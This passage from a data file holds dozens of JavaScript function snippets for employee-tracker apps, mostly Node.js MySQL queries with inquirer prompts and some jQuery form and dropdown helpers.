}\n}", "function populateEmployeeNew() {\n\t$('#hidden-employee-id').val(0);\n\t$('#hidden-employee-idx').val(0);\n\t$('#first-name-form').val(\"\");\n\t$('#last-name-form').val(\"\");\n\t$('#user-name-form').val(\"\");\n\t$('#password-form').val(\"\");\n\t$('#email-form').val(\"\");\n\t$('#role-dropdown').val(\"\");\n\t\n\t$('#first-name-form').prop(\"disabled\", false);\n\t$('#last-name-form').prop(\"disabled\", false);\n\t$('#user-name-form').prop(\"disabled\", false);\n\t$('#password-form').prop(\"disabled\", false);\n\t$('#email-form').prop(\"disabled\", false);\n\t$('#role-dropdown').prop(\"disabled\", false);\n\t$('#employee-new').hide();\n\t$('#employee-submit').show();\n\t$('#employee-cancel').show();\n}", "function viewEmp() {\n connection.query(\n `\n SELECT\n employee.id AS 'Employee ID', \n employee.first_name AS 'First Name', \n employee.last_name AS 'Last Name', \n role.title AS 'Position', \n role.salary AS 'Salary', \n department.name AS 'Department'\n FROM employee\n LEFT JOIN role\n ON employee.role_id = role.id\n LEFT JOIN department\n ON role.department_id = department.id;\n `\n , function (error, res) {\n console.table(res);\n mainMenu();\n }\n );\n}", "viewEmployees() {\n console.log(`\n\n * Viewing All Employees *\n `)\n connection.query(`SELECT employees.id, employees.first_name, employees.last_name, roles.title AS role, roles.salary AS salary, departments.name AS department, CONCAT(m.first_name, ' ', m.last_name) AS manager FROM employees LEFT JOIN roles ON employees.role_id = roles.id LEFT JOIN departments ON roles.department_id = departments.id LEFT JOIN employees m ON employees.manager_id = m.id;`, function(err, res) {\n if (err) throw err;\n console.table(res);\n beginAgain();\n })\n }", "function viewEmployees() {\n connection.query(\"SELECT first_name, last_name, department.name, role.title, role.salary FROM ((employee INNER JOIN role ON role_id = role.id) INNER JOIN department ON department_id = department.id);\", function (err, res) {\n if (err) throw err;\n console.log(\"\\n All employees retrieved from database. \\n\");\n console.table(res);\n askQuestions();\n });\n}", "function populateEmployee(data, idx) {\n $('#hidden-employee-id').val(data[0]);\n $('#hidden-employee-idx').val(idx);\n\t$('#first-name-form').val(data[2]);\n\t$('#last-name-form').val(data[1]);\n\t$('#user-name-form').val(data[3]);\n\t$('#password-form').val(data[4]);\n\t$('#email-form').val(data[5]);\n\t$('#role-dropdown').val(data[7]);\n\t\n\t$('#first-name-form').prop(\"disabled\", false);\n\t$('#last-name-form').prop(\"disabled\", false);\n\t$('#user-name-form').prop(\"disabled\", false);\n\t$('#password-form').prop(\"disabled\", false);\n\t$('#email-form').prop(\"disabled\", false);\n\t$('#role-dropdown').prop(\"disabled\", false);\n\t$('#employee-new').hide();\n\t$('#employee-submit').show();\n\t$('#employee-cancel').show();\n}", "function viewEmployees() {\n connection.query(\n \"SELECT employee.id, first_name, last_name, roles.title, department.name AS department, roles.salary FROM employee INNER JOIN roles ON employee.role_id = roles.role_id INNER JOIN department ON roles.department_id = department.department_id\",\n (err, results) => {\n if (err) throw err;\n console.log(\"\\n\");\n console.table(results);\n console.log(\"===============================\");\n console.log(\"\\n \\n \\n \\n \\n \\n \\n\");\n }\n );\n // RETURN TO MAIN LIST\n runTracker();\n}", "function viewEmployee() {\n\n var query =\n `SELECT e.id, e.first_name, e.last_name, r.title, d.name AS department, r.salary, CONCAT(m.first_name, ' ', m.last_name) AS manager\n FROM employee e\n LEFT JOIN roles r\n ON e.roles_id = r.id\n LEFT JOIN department d\n ON d.id = r.department_id\n LEFT JOIN employee m\n ON m.id = e.manager_id`\n \n connection.query(query, function (err, res) {\n if (err) throw err;\n \n console.table(res); \n init(); \n \n });\n }", "function getListOfEmployee() {\n var selectedEmp;\n if (checkConnection()) {\n // //$('body').addClass('ui-loading');\n var serviceCall = $.post(window.localStorage.getItem(\"url\") + \"/get_employees\", \"json\");\n serviceCall.done(function(data) {\n obj = JSON.parse(data);\n if (obj.msg == 'Failure') {\n //$('body').removeClass('ui-loading');\n navigator.notification.alert(\"No Employees available.\", onCallback, \"Message\", \"OK\");\n } else {\n var listItem = \"\";\n listItem = \"<option value='Select One'>Select One</option>\";\n $.each(obj, function(index, item) {\n listItem += \"<option value='\" + item.id + \"'>\" + item.fullname + \"</option>\";\n });\n //\tconsole.log(listItem);\n $(\"#emplyee\").append(listItem);\n $(\"#emplyee\").selectmenu('refresh');\n\n previousSelected = $('#emplyee').val();\n\n onEditAction();\n }\n });\n serviceCall.fail(function() {\n // $.mobile.loading( 'hide');\n\n $('body').removeClass('ui-loading');\n //navigator.notification.alert(\"Couldn't connect to server.\",onCallback,\"Message\",\"OK\");\n });\n } else {\n navigator.notification.alert(\"Please check internet connection.\", onCallback, \"Message\", \"OK\");\n }\n}", "function addEmp() {\n console.log(\" -------------------------- \\n ADD A NEW COMPANY EMPLOYEE \\n --------------------------\");\n // Initial SQL query so that role and manager can be selected from a list instead of user manually entering\n connection.query(\n \"SELECT CONCAT(e.first_name, ' ', e.last_name) AS 'Employee', e.first_name, e.last_name, e.id AS 'empId', e.role_id, r.title AS 'Title', r.id AS 'Roleid' FROM employee e INNER JOIN role r ON r.id = e.role_id\",\n function (err, res) {\n if (err) throw err;\n const rolResults = [];\n const rolIdResults = [];\n const manResults = [];\n const manIdResults = [];\n for (let i = 0; i < res.length; i++) {\n // simply for CLI UI to display list of existing titles to choose role\n let rolObj = res[i].Title;\n rolResults.push(rolObj);\n // for comparing inquirer selected title string and setting corresponding role id\n let rolIdObj = {\n title: res[i].Title,\n roleid: res[i].Roleid,\n };\n rolIdResults.push(rolIdObj);\n // simply for CLI UI to display list of existing employee to choose a manager from\n let manObj = res[i].Employee;\n manResults.push(manObj);\n // for comparing inquirer selected manager name and setting corresponding manager id\n let manIdObj = {\n manid: res[i].empId,\n first: res[i].first_name,\n last: res[i].last_name,\n full: res[i].Employee,\n };\n manIdResults.push(manIdObj);\n }\n // simply to provide a final \"None\" option for the manager selection list in the CLI UI\n manResults.push(\"NONE\");\n\n // Employee Entry question prompts\n inquirer\n .prompt([\n {\n name: \"first\",\n type: \"input\",\n message: \"Enter employee's first name.\",\n },\n {\n name: \"last\",\n type: \"input\",\n message: \"Enter employee's last name.\",\n },\n {\n name: \"selectManager\",\n type: \"list\",\n message: \"Select the manager for this employee from the below.\",\n choices: manResults,\n },\n {\n name: \"selectRole\",\n type: \"list\",\n message: \"Select the role for this employee from the existing titles below.\",\n choices: rolResults,\n },\n ])\n // asynchronous handling of the provided employee information\n .then((answers) => {\n let chosenMgrId;\n let chosenRoleId;\n // Setting chosenRoleId var to role_id that matches the title the user selected in list\n for (let i = 0; i < rolIdResults.length; i++) {\n if (rolIdResults[i].title == answers.selectRole) {\n chosenRoleId = rolIdResults[i].roleid;\n }\n }\n // Setting chosenMgrId var to employee_id that matches the employee the user selected in manager list\n if (answers.selectManager !== \"NONE\") {\n for (let i = 0; i < manIdResults.length; i++) {\n if (manIdResults[i].full == answers.selectManager) {\n chosenMgrId = manIdResults[i].manid;\n }\n }\n // Setting chosenMgrId to null if selected \"NONE\" in manager list\n } else {\n chosenMgrId = null;\n }\n // INSERT SQL to add the employee\n connection.query(\n \"INSERT INTO employee SET ?\",\n [\n {\n first_name: answers.first,\n last_name: answers.last,\n role_id: chosenRoleId,\n manager_id: chosenMgrId,\n },\n ],\n function (error) {\n if (error) throw err;\n console.clear();\n console.log(\"NEW EMPLOYEE ADDED SUCCESSFULLY!\");\n actions();\n }\n );\n });\n }\n );\n}", "function initializeAddEmployeeForm(){\n \n \t//reset form\n document.getElementById(\"add-employee\").reset();\n\t $.getJSON(\"countries\", function(countries) {\n\t\t \tvar countrySelect = document.getElementById(\"country\");\n\t\t \tcountrySelect.innerHTML = \"\";\n\t\t \tcountries.forEach(function(country){\n\t\t\t \tvar option = document.createElement('option');\n\t\t\t \toption.value = country.id;\n\t\t\t \toption.innerHTML = country.name;\n\t\t\t \tcountrySelect.appendChild(option);\n\t\t \t});\n\n\t });\n\t\n }", "function viewEmployees() {\n db.query('SELECT * FROM employee', function (err, results) {\n console.table(results);\n goPrompt();\n });\n}", "function viewAllEmployees() {\n connection.query(\"SELECT * FROM employee\", function (err, results) {\n if (err) throw err;\n console.log(\"----------------------------------------------------------------------\")\n console.table(results)\n userInput()\n });\n}", "function populate_faculty_dropdown_by_query()\n{\n let select = document.getElementById(\"Select Faculty\");\n let arr= Get(\"api/buttonsdynamically/get/faculty\");\n if(select===null)\n alert(\"empty object retrieved from DOM parse\");\n if( select.length>1) {\n //alert(\"faculty already exist in under the domain button, no need to again add them\");\n return \"\";\n }\n for (let i = 0; i < arr.length; i++) {\n let option = document.createElement(\"OPTION\"), txt = document.createTextNode(arr[i]);\n option.appendChild(txt);\n option.setAttribute(\"value\", arr[i]);\n select.insertBefore(option, select.lastChild);\n }\n}", "function viewEmployees() {\n const query = 'SELECT employee.id, employee.first_name, employee.last_name, roletable.title, department.name AS department, roletable.salary, CONCAT(manager.first_name, \" \", manager.last_name) AS manager FROM employee LEFT JOIN roletable on employee.role_id = roletable.id LEFT JOIN department on roletable.department_id = department.id LEFT JOIN employee manager on manager.id = employee.manager_id';\n connection.query(query, (err, res) => {\n if (err) throw err;\n createTable(res);\n });\n}", "function viewEmployees() {\n connection.query(\"SELECT employee.id, employee.first_name, employee.last_name, role.title, department.name AS department, role.salary, CONCAT(manager.first_name, ' ', manager.last_name) AS Manager FROM employee LEFT JOIN employee manager on manager.id = employee.manager_id INNER JOIN role ON (role.id = employee.role_id) INNER JOIN department ON (department.id = role.department_id)\", function(err, res) {\n if(err) throw err;\n console.log(\"Employees:\")\n console.table(res)\n start();\n });\n}", "function generateEmployees() {\n const query = \"SELECT ID, first_name, last_name FROM employee\";\n connection.query(query, (err, res) => {\n employees.splice(0, employees.length);\n employeesId.splice(0, employeesId.length);\n for (const i in res) {\n employees.push(res[i].first_name + \" \" + res[i].last_name);\n employeesId.push(res[i].ID)\n }\n })\n}", "function getEmployeesByDept() {\n connection.query(\"SELECT * FROM department;\", function (err, dept) {\n if (err) throw err;\n inquirer.prompt([\n {\n type: \"list\",\n name: \"deptid\",\n message: \"Choose one department\",\n choices: dept.map(dept => {\n return {\n name: dept.name,\n value: dept.id\n }\n })\n }\n\n ]).then((answers) => {\n\n var query = `SELECT e.id, e.first_name, e.last_name, r.title, d.name AS department , r.salary, concat( m.first_name,\" \",m.last_name ) Manager\n FROM \n employee e\n left join role r\n on e.role_id = r.id\n left join department d \n on r.department_id = d.id\n left join employee m on e.manager_id = m.id\n where d.id = ?;`\n\n connection.query(query, [answers.deptid], function (err, res) {\n if (err) throw err;\n // Log all results of the SELECT statement\n console.table(res);\n main();\n\n });\n })\n })\n}", "function getAnEmployee(res, mysql, context, id, complete){\r\n var sql = \"SELECT id, name, department FROM zoo_employee WHERE id = ?\";\r\n var inserts = [id];\r\n mysql.pool.query(sql, inserts, function(error, results, fields){\r\n if(error){\r\n res.write(JSON.stringify(error));\r\n res.end();\r\n }\r\n context.employee = results[0];\r\n complete();\r\n });\r\n }", "function BindEmployeeName() {\n $.ajax({\n type: \"POST\",\n url: \"GSTRegistartionList.aspx/BindEmployeeID\",\n data: '{}',\n contentType: \"application/json; charset=utf-8\",\n dataType: \"json\",\n success: function (r) {\n console.log(r);\n var dept = $(\".EmployeeName\");\n dept.empty().append('<option selected=\"selected\" value=\"0\">--Select--</option>');\n $.each(r.d, function (key, value) {\n dept.append($(\"<option></option>\").val(value.EmployeeID).text(value.EmployeeName));\n });\n }\n });\n }", "function viewAllEmployeesByDepart() {\n const query2 = `select department.id,department.name\n FROM employee INNER JOIN role ON (employee.role_id = role.id) INNER JOIN department ON (department.id = role.department_id) group by department.id,department.name;`;\n connection.query(query2, (err, res) => {\n if (err) throw err;\n const departmentChoices = res.map((data) => ({\n value: data.id, name: data.name,\n }));\n // console.table(res);\n // console.log(departmentChoices);\n promptDepartment(departmentChoices);\n });\n}", "function viewAllEmployees() {\n console.log(\"Showing all employees...\\n\");\n connection.query(\"SELECT * FROM employee \", function (err, res) {\n if (err) throw err;\n for (var i = 0; i < res.length; i++) {\n console.log(res[i].id + \" | \" + res[i].first_name + \" | \" + res[i].last_name);\n }\n console.log(\"----------------\");\n })\n connection.end();\n}", "function viewAllEmployeesQuery() {\n return `SELECT e.id, e.first_name, e.last_name, r.title, d.name as department, r.salary, \n CONCAT(m.first_name, ' ', m.last_name) as manager FROM employee e \n INNER JOIN role r ON e.role_id = r.id INNER JOIN department d ON r.department_id = d.id \n LEFT JOIN employee m ON e.manager_id = m.id`;\n}", "employeeInfo() {\n return connection.query(`SELECT ee.id, ee.first_name, ee.last_name, er.title, ed.dept_name, er.salary, CONCAT(em.first_name,' ',em.last_name) as manager\n FROM employees_db.employee as ee\n LEFT JOIN employees_db.role as er\n ON ee.role_id = er.id\n LEFT JOIN employees_db.department as ed\n ON er.department_id = ed.id\n LEFT JOIN employees_db.employee as em\n on ee.manager_id = em.id`)\n }", "function viewAllEmployees() {\n //THEN I am presented with a formatted table showing employee data, including employee ids, first names, last names, job titles, departments, salaries, and managers that the employees report to\n // employee.role_id = role.id: checking if the employee.role_id matches the role.id\n // Combine the SELECT and FROM into one string and add that to the query const variable \n // LEFT JOIN add its to the left\n\n const query = `SELECT employee.id, employee.first_name, employee.last_name, role.salary, role.title, department.name AS department, CONCAT(manager.first_name,\" \", manager.last_name) AS manager\n \n FROM employee\n\n LEFT JOIN role ON employee.role_id = role.id\n LEFT JOIN department ON role.department_id = department.id\n LEFT JOIN employee manager ON manager.id = employee.manager_id;\n `\n\n connection.query(query, (err, res) => {\n if (err) throw err;\n console.log(res);\n console.table(res);\n options();\n })\n}", "function viewEmployees(employee) {\n let newQuery = \"SELECT employee.first_name, employee.last_name, roles.title, roles.salary, department.dept_name AS department FROM employee LEFT JOIN roles ON employee.role_id = roles.id LEFT JOIN department ON roles.department_id = department.id\";\n\n databaseConnect.query(newQuery, (err, res) => {\n if (err) throw err;\n \n // old method of gathering employees... too much work imo\n // res.forEach((employee) => {\n // eArray.push({\n // 'id': employee.id, \n // 'first_name': employee.first_name,\n // 'last_name': employee.last_name, \n // 'title': employee.title,\n // 'department': employee.department,\n // 'salary': employee.salary,\n // 'manager': employee.manager,\n // });\n // });\n\n console.log('Here are all active Employees:');\n \n console.log('====================================================================');\n console.table(res);\n console.log('====================================================================');\n\n\n startMenu();\n }); \n}", "function viewEmployees() {\n // select from the db\n let query = \"SELECT * FROM employee\";\n connection.query(query, function(err, res) {\n if (err) throw err;\n console.table(res);\n startPrompt();\n });\n \n}", "function getEmployees(res,mysql,context,complete){\r\n\t\tmysql.pool.query(\"SELECT Employees.Emp_ID, Employees.Emp_Name, Employees.Store_ID, Employees.Emp_Phone_Number, Employees.Emp_Address_Street, Employees.Emp_Address_Zip FROM Employees\",(error,results,fields)=>{\r\n\t\t\tif(error){\r\n\t\t\t\tres.write(JSON.stringify(error));\r\n\t\t\t\tres.end();\r\n\t\t\t}\r\n\t\t\tcontext.employees = results;\r\n\t\t\tcomplete();\r\n\t\t});\r\n\t}", "function getEmployeeByModal() {\n try {\n const select = document.querySelector(\"#showEmployeeByModal\");\n const showEmployeeByCategory = document.querySelector(\n \"#showEmployeeByCategoryModal\"\n );\n removeOptions(showEmployeeByCategory);\n const departments = [\"Programming\", \"Marketing\", \"Sales\", \"Human Resource\"];\n const positions = [\"Manager\", \"Programmer\", \"Sales Assistant\", \"Technical\"];\n\n if (select.options[select.selectedIndex].value == \"department\") {\n for (dept in departments) {\n showEmployeeByCategory.appendChild(new Option(departments[dept]));\n }\n } else if (select.options[select.selectedIndex].value == \"position\") {\n for (pos in positions) {\n showEmployeeByCategory.appendChild(new Option(positions[pos]));\n }\n } else {\n }\n } catch (e) {\n console.log(e);\n }\n}", "function allEmployees() {\n //Build SQL query\n var query = \"SELECT employees.employee_id, employees.first_name, employees.last_name, roles.title, roles.salary, departments.department_name \";\n query += \"FROM employees LEFT JOIN roles ON employees.role_id = roles.role_id LEFT JOIN departments ON roles.department_id = departments.department_id\";\n connection.query(query, function (err, res) {\n if (err) throw err;\n console.table('Employees', res);\n start();\n });\n}", "function addEmployee() {\n var tempEmpObj = {\n firstname: parent.empObj.firstname,\n lastname: parent.empObj.lastname,\n email: parent.empObj.email,\n address: parent.empObj.address,\n phone: parent.empObj.phone\n };\n return parent.postEmpList(tempEmpObj);\n }", "function addEmp(){\n connection.query(\n `SELECT r.title Title, r.salary Salary, d.name Department, r.id RoleID\n FROM role r\n LEFT JOIN department d ON (d.id = r.department_id)\n ORDER BY r.title,d.name`,\n function(err, results) {\n let roleOption = [\"No Role\"];\n if (err) throw err;\n results.forEach(element => {\n roleOption.push(`${element.Title} - ${element.Salary} - ${element.Department} - ${element.RoleID}`);\n });\n connection.query(\n `SELECT e.first_name FirstName,e.last_name LastName,d.name Department,r.title Title,e.id EmployeeID,concat(m.first_name,\" \",m.last_name) Manager\n from employee e\n LEFT JOIN role r ON (e.role_id = r.id)\n LEFT JOIN department d ON (r.department_id = d.id)\n LEFT JOIN employee m ON (e.manager_id = m.id)\n ORDER BY e.first_name,e.last_name,d.name,r.title`,\n function(err2,results2) {\n let managerArr = [\"No Manager\"];\n if (err2) throw err2;\n results2.forEach(element => {\n managerArr.push(`${element.FirstName} ${element.LastName} - ${element.Title} - ${element.Department} - ${element.EmployeeID}`);\n });\n inquirer.prompt([\n {\n name: \"first_name\",\n type: \"input\",\n message: \"Enter first name:\",\n validate: validateInput\n },\n {\n name: \"last_name\",\n type: \"input\",\n message: \"Enter last name:\",\n validate: validateInput\n },\n {\n name: \"role_id\",\n type: \"list\",\n message: \"Choose role (Title - Salary - Department - RoleID):\",\n choices: roleOption\n },\n {\n name: \"manager_id\",\n type: \"list\",\n message: \"Choose manager (Name - Title - Department - EmployeeID):\",\n choices: managerArr\n }\n ]).then(answers => {\n let roleId = (answers.role_id === \"No Role\" ) ? null : parseInt(answers.role_id.split(' - ').pop());\n let managerId = (answers.manager_id === \"No Manager\" ) ? null : parseInt(answers.manager_id.split(' - ').pop());\n connection.query(\"insert into employee (first_name,last_name,role_id,manager_id) values (?,?,?,?)\",\n [answers.first_name,answers.last_name,roleId,managerId],\n function(err) {\n if (err) throw err;\n renderAction();\n }\n );\n });\n });\n });\n}", "function viewEmployees() {\n let query = \n \"SELECT employee.id, employee.first_name, employee.last_name, person_role.title, person_role.salary, department.dept_name, CONCAT(e.first_name, ' ' ,e.last_name) AS Manager FROM employee INNER JOIN person_role on person_role.id = employee.role_id INNER JOIN department on department.id = person_role.department_id left join employee e on employee.manager_id = e.id;\";\n return connection.query(query, function (err, res) {\n if (err) throw err;\n console.table(res);\n start();\n });\n}", "function addEmp() {\n var empFirstName, empLastName, empRole, empManagerId\n // prompt for first and last name\n prompt([\n {\n type: 'input',\n name: 'firstName',\n message: 'First Name:',\n validate: inputStr => {\n if (inputStr) {\n // validate only letters entered\n if (/^[a-zA-Z]+$/.test(inputStr)) {\n return true;\n } else {\n console.log(`\\nEnglish letters only, please:`);\n return false;\n }\n // no inputStr \n } else return false;\n }\n },\n {\n type: 'input',\n name: 'lastName',\n message: 'Last Name:',\n validate: inputStr => {\n if (inputStr) {\n // validate only letters entered\n if (/^[a-zA-Z]+$/.test(inputStr)) {\n return true;\n } else {\n console.log(`\\nEnglish letters only, please`);\n return false;\n }\n // no inputStr \n } else return false;\n }\n },\n\n ]).then(emp => {\n // force proper noun case\n empFirstName = (\n emp.firstName.charAt(0).toUpperCase() +\n emp.firstName.slice(1).toLowerCase());\n\n empLastName = (\n emp.lastName.charAt(0).toUpperCase() +\n emp.lastName.slice(1).toLowerCase());\n\n // get roles from db for user to pick from\n db.selectAllRoles()\n //display roles and select one\n .then(([roles]) => {\n prompt([\n {\n type: \"list\",\n name: \"selectedRole\",\n message: `\\nSelect a role for ${empFirstName} ${empLastName}:`,\n choices: roles.map(r => ({ value: r.id, name: r.title }))\n }\n ])//assign the role\n .then((inqData) => {\n empRole = inqData.selectedRole;\n })\n .then(() => {\n // display employees to pick manager\n db.selectAllEmployees()\n // prompt to pick manager\n .then(([employee]) => {\n prompt([\n {\n type: \"list\",\n name: \"selectedMgr\",\n message: `\\nSelect a manager for ${empFirstName} ${empLastName}:`,\n choices: employee.map(emp => ({ value: emp.id, name: `${emp.first_name} ${emp.last_name}` }))\n }\n ])//assign manager\n .then((mgrData) => {\n empManagerId = mgrData.selectedMgr;\n // Insert Employee into Database\n db.addEmployee(empFirstName, empLastName, empRole, empManagerId)\n .then(() =>\n promptAction()\n );\n }) // manager assigned\n })//employees displayed and mgr selcted\n }) //role assigned\n })//role displayed and selected\n })//roles retrieved from db\n}", "displayEmployeeData() {\n return this.connection.promise().query(\n `SELECT employee.id, employee.first_name, employee.last_name, role.title, department.name as department, \n role.salary, CONCAT(e.first_name, ' ', e.last_name) AS manager\n FROM employee \n LEFT JOIN role ON employee.role_id = role.id\n LEFT JOIN department ON role.department_id = department.id\n LEFT JOIN employee AS e ON employee.manager_id = e.id`\n );\n }", "function getEmployees(res, mysql, context, complete) {\n mysql.pool.query(\"SELECT id, fname, lname FROM Employees WHERE fsa = TRUE\", function (error, results, fields) {\n if (error) {\n res.write(JSON.stringify(error));\n res.end();\n }\n context.employee = results; //define results as \"employee\"\n complete(); //call the complete function to increase callbackcount\n });\n }", "function getEmployees() {\n const query = \"SELECT * FROM employee\";\n return queryDB(query);\n}", "function employeeSearch() {\n\n connection.query(\"SELECT employee.id, employee.last_name, employee.first_name, role.title, name AS department, role.salary, CONCAT(manager.first_name, ' ', manager.last_name) AS manager FROM employee LEFT JOIN role on employee.role_id = role.id LEFT JOIN department on role.department_id = department.id LEFT JOIN employee manager on manager.id = employee.manager_id;\",\n\n function (err, res) {\n if (err) throw err\n console.table(res)\n beginTracker()\n }\n )\n}", "function getCurrentEmployees(){\n connection.query(`SELECT * FROM employee_table`, (err, res) => {\n // If error log error\n if (err) throw err;\n // Set the current employes array to the array of employee objects retrieved from the database\n currentEmployees = res;\n // Combine the first and last name properties into a single full name variable for use in inquirer choices later\n for (i=0; i<res.length; i++) {\n // Loop through and pull out the firstname and lastname and combine them into a full name variable declaried in this loop\n let fullName = `${res[i].employee_firstname} ${res[i].employee_lastname}`;\n // Each time add that into an array that will hold the full names for use in inquirer choices...\n currentEmployeeNames.push(fullName);\n }\n // And start the main prompt\n startMainPrompt();\n })\n }", "function viewAllEmp() {\n console.log(\"viewAllEmp\");\n connection.query('SELECT * FROM employee', (err, res) => {\n if (err) throw err;\n console.table(res);\n userSelect();\n });\n\n}", "function addEmployeesTable(event){\n event.preventDefault();\n let firstName = $('#first-name').val();\n let lastName = $('#last-name').val();\n let id = $('#em-id').val();\n let title = $('#title').val();\n let annualSalary = $('#annual-salary').val();\n\n employees.push(\n {\n firstName, lastName, id, title, annualSalary\n }\n )\n\n // clear inputs\n $('#first-name').val('');\n $('#last-name').val('');\n $('#em-id').val('');\n $('#title').val('');\n $('#annual-salary').val('');\n\n showEmployees(employees);\n calculateMonthlyTotal();\n}", "function viewEmp() {\n connection.query(\"SELECT employee.first_name, employee.last_name, emp_role.title, emp_role.salary, department.dept_name, manager.first_name AS 'manager_firstname', manager.last_name AS 'manager_lastname' FROM employee LEFT JOIN emp_role ON employee.role_id = emp_role.id LEFT JOIN department ON emp_role.department_id = department.id LEFT JOIN employee manager ON employee.manager_id = manager.id;\", function (err, res) {\n if (err) throw err;\n console.table(res);\n main();\n });\n}", "function populateDepInfo() {\n const depCheck = document.querySelectorAll(\"#depTable tbody tr\"); //Get Department Table Rows\n let deps = getDeps();\n if (depCheck.length == 0) {\n for (let j = 0; j < deps.length; j++) {\n let depOb = new CRUD(\"depTable\", \"depSelect\", deps[j]); //Create Object for department\n depOb.addOption();\n depOb.addRow();\n }\n } else {\n removeExistingDep();\n populateDepInfo();\n }\n}", "function allDep() {\n const sql = `SELECT * from department`;\n db.query(sql, function (err, res) {\n if (err) throw err;\n console.table(\"employee\", res);\n promptUser();\n });\n}", "async function displayAllEmployees() {\n console.log(' ');\n await connection.query('SELECT e.id, e.first_name AS First_Name, e.last_name AS Last_Name, title AS Title, salary AS Salary, name AS Department, CONCAT(m.first_name, \" \", m.last_name) AS Manager FROM employee e LEFT JOIN employee m ON e.manager_id = m.id INNER JOIN role r ON e.role_id = r.id INNER JOIN department d ON r.department_id = d.id', (err, res) => {\n if (err) throw err;\n console.table(res);\n runApp();\n });\n}", "function addEmp() {\n // a query that will provide a list of managers for the user to choose from\n connection.query(\n \"SELECT first_name,last_name,role_id,title FROM role JOIN employee ON employee.role_id = role.id WHERE title = 'Sales Manager' OR title = 'Marketing Manager' or title = 'Engineering Manager';\",\n function (err, res) {\n if (err) throw err;\n\n // prompt the user for info about the employee\n inquirer\n .prompt([\n {\n name: \"first_name\",\n type: \"input\",\n message:\n \"What is the first name of the employee that you want to add?\",\n },\n {\n name: \"last_name\",\n type: \"input\",\n message:\n \"What is the last name of the employee that you want to add?\",\n },\n {\n name: \"role_id\",\n type: \"input\",\n message:\n \"What is the role id of the employee that you want to add?\",\n },\n {\n name: \"manager\",\n type: \"list\",\n message: \"Choose the manager of the employee that you want to add?\",\n // res.map takes the object that was returned from the query and converts it to a string of choices.\n choices: res.map(\n (manager) => manager.first_name + \" \" + manager.last_name\n ),\n },\n ])\n .then(function (answer) {\n // when finished prompting, insert a new employee into the db with that info\n connection.query(\n \"INSERT INTO employee SET ?\",\n {\n first_name: answer.first_name,\n last_name: answer.last_name,\n role_id: answer.role_id,\n manager: answer.manager,\n },\n function (err) {\n if (err) throw err;\n console.log(\"Your employee was added successfully!\");\n // display the new list of employees and re-prompt the user.\n viewEmp();\n }\n );\n });\n }\n );\n}", "async function helperEmpManager() {\n let res = await connection.query(`SELECT CONCAT(employee.first_name,\" \" ,employee.last_name) AS fullName, employee.id FROM employee`)\n let employeName = [];\n res.forEach(emp => {\n //saving on the list of objects\n employeName.push({ name: emp.fullName, value: emp.id })\n })\n \n return employeName;\n \n }", "function viewAllEmployees() {\n const query = \"SELECT employee.id, employee.first_name, employee.last_name, role.title, department.department_name AS department, role.salary FROM employee LEFT JOIN role ON employee.role_id = role.id LEFT JOIN department on role.department_id = department.id\";\n db.query(query, function (err, res) {\n console.table(res);\n startTracker();\n });\n}", "async function getEmployees() {\n let employees = await query(`SELECT CONCAT(first_name, ' ', last_name) AS name, id AS value FROM employee`);\n return employees;\n}", "function displayUsers() {\n usersPlaceholder = \"\";\n\n for (i = 0; i < users.length; ++i) {\n usersPlaceholder += `\n <option id=\"${i}\" onclick=\"addUp(event)\" value=\"${users[i].firstName}\">${users[i].firstName} ${users[i].lastName}</option>\n `;\n }\n document.getElementById(\"usersList\").innerHTML = usersPlaceholder;\n}", "function displayAllEmployees() {\n // let query = \"SELECT * FROM employee\";\n connection.query(\"SELECT * FROM employee\", (err, res) => {\n if (err) throw err;\n\n console.log(\"\\n\\n ** Full Employee list ** \\n\");\n printTable(res);\n });\n}", "function addOwners() {\n\t\n\tvar req = new XMLHttpRequest();\n\treq.open('POST', FLIP + PORT + '/select-owner-names-ids', true);\n\treq.addEventListener('load',function(){\n\t if(req.status >= 200 && req.status < 400){\n\t\n\t\tvar response = JSON.parse(req.responseText);\n\t\tlet table = JSON.parse(response.results);\t\t\n\n\t\t// for each row in the owner table, add the row to the \t\t// selection dropdown\n\t\tlet length = table.length;\n\n\t\tfor(var i = 0; i < length; i++)\t{\n\n\t\t\tlet select = document.getElementById('ownerselect');\n\n\t\t\tlet option = document.createElement('option');\n\n\t\t\toption.innerHTML = table[i].name;\n\t\t\toption.value = table[i].id;\n\n\t\t\tselect.appendChild(option);\n\t\n\t\t}\n\n } else {\n \tconsole.log(\"Error in network request: \" + req.statusText);\n }});\n req.send();\n}", "function viewEmps() {\n let query = `SELECT e.id AS \"ID\", e.first_name AS \"FIRST NAME\", e.last_name AS \"LAST NAME\", \nr.title AS \"ROLE\", d.name AS \"DEPARTMENT\", r.salary AS \"SALARY\", \n(select concat(emp.first_name,' ',emp.last_name) from employee as emp where e.manager_id = emp.id) AS \"MANAGER\"\nFROM employee e \nLEFT JOIN role r ON e.role_id=r.id\nLEFT JOIN department d ON r.department_id = d.id;`;\n connection.query(query, (err, res) => {\n if (err) throw err;\n printTable(res);\n CMS();\n });\n}", "function addEmployee() {\n //allow for a no manager option\n employees.push({ name: \"No Manager\", id: null });\n inquirer\n .prompt([\n {\n name: \"firstName\",\n message: \"Enter the employee's first name: \",\n },\n {\n name: \"lastName\",\n message: \"Enter the employee's last name: \",\n },\n {\n name: \"role\",\n type: \"list\",\n message: \"Select the employee's role:\",\n choices: roles,\n },\n {\n name: \"manager\",\n type: \"list\",\n message: \"Select the employee's manager:\",\n choices: employees,\n },\n ])\n .then((response) => {\n //use get id from above to get the id from the names selected in the prompt\n let employeeRoleID = getID(roles, response.role);\n let employeeManagerID = getID(employees, response.manager);\n db.query(\n \"INSERT INTO employee (first_name, last_name, role_id, manager_id) VALUES (?,?,?,?)\",\n [\n response.firstName,\n response.lastName,\n employeeRoleID,\n employeeManagerID,\n ],\n function (err) {\n if (err) throw err;\n viewAllEmployees();\n }\n );\n });\n}", "function plusEmployees() {\n db.query('SELECT * FROM employee JOIN role ON employee.role_id = role.id;', function (err, res) {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"updateId\",\n message: \"Select an employee to update: \",\n choices: function () {\n var allEmployees = []\n for (var i = 0; i < res.length; i++) {\n allEmployees.push(res[i].last_name)\n }\n return allEmployees\n },\n },\n {\n name: \"role\",\n type: 'list',\n message: \"What is the Employee's new role?\",\n choices: selectRole()\n },\n // promise\n ]).then(function (data) {\n var roleId = selectRole().indexOf(data.role) + 1\n db.query('UPDATE employee SET WHERE ?',\n {\n id: data.updateId,\n role_id: data.roleId\n }, function (err) {\n console.table(data)\n goPrompt()\n })\n })\n });\n}", "function createEmp() {\n new 